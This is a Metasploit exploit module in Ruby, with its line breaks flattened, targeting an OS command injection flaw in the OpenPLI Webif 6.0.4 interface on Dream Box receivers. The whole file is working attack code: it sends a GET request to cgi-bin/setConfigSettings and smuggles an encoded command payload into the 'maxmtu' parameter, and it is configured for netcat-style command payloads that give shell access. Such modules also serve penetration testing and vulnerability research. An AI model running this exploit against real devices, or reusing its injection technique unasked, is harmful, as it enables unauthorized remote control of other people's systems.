## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'OpenPLI Webif Arbitrary Command Execution', 'Description' => %q{ Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means that you will not see any output of your command. A ping command can be used for testing the vulnerability. This module has been tested in a box with the next features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1 Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware 1.06 and Web Interface 6.0.4-Expert (PLi edition). }, 'Author' => [ 'Michael Messner ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '90230' ], [ 'BID', '57943' ], [ 'EDB', '24498' ], [ 'URL', 'http://openpli.org/wiki/Webif' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ] ], 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat generic' } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 08 2013' )) end def exploit print_status("#{rhost}:#{rport} - Sending remote command...") vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") begin send_request_cgi( { 'uri' => normalize_uri("cgi-bin", "setConfigSettings"), 'method' => 'GET', 'vars_get' => { "maxmtu" => "1500&#{payload.encoded}&" } }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting") end end end